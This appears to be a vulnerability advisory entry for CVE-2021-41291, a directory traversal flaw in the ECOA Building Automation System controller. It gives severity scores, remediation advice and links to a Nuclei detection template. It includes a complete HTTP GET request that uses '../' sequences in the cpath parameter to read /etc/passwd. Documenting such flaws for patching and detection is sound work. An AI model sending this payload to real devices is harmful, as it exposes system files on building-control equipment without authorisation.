| Title | ECOA Building Automation System - Directory Traversal Content Disclosure |
|---|---|
| Author | gy741 |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to access sensitive files and directories, potentially exposing sensitive information. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in the ECOA Building Automation System. |
| CVSS Score | 7.5 |
| EPSS Score | 0.9166 |
| CVE ID | CVE-2021-41291 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve ecoa lfi traversal vuln |
The ECOA BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device
GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41291.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41291.pcap
N/AN/A